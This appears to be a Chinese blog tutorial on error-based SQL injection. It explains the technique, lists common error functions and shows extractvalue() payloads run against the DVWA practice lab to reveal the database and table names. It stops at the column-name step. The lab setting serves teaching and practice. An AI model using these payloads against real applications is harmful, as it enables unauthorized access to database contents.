sql注入-报错注入

最新推荐文章于 2024-07-23 21:39:06 发布

原创

最新推荐文章于 2024-07-23 21:39:06 发布 · 755 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#sql #数据库 #dvwa #web安全 #渗透测试

报错盲注

原理：
报错注入（Error-based SQL Injection）是一种SQL注入攻击技术，它依赖于应用程序在发生数据库错误时返回给用户的详细错误信息。这些错误信息可能包含关于数据库结构的敏感信息，如数据库表名、列名、数据类型等，甚至可能泄露部分数据。攻击者可以利用这些信息来进一步构造更精确的SQL查询，以绕过应用程序的安全措施，获取未授权的数据访问或执行未授权的操作。

常用报错函数：
1.floor()报错
2.extractValue()报错
3.updateXml()报错
4.NAME_CONST()报错
5.jion()报错
6.exp()报错

下面进行报错注入dvwa靶场。
1.爆库名

1' and extractvalue(1,concat(0x7e,database()))#

在这里插入图片描述
2.爆表名
先爆表的数量

1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))#

在这里插入图片描述
再具体爆每张表的名字

1' and extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1)))#

在这里插入图片描述
3.爆列名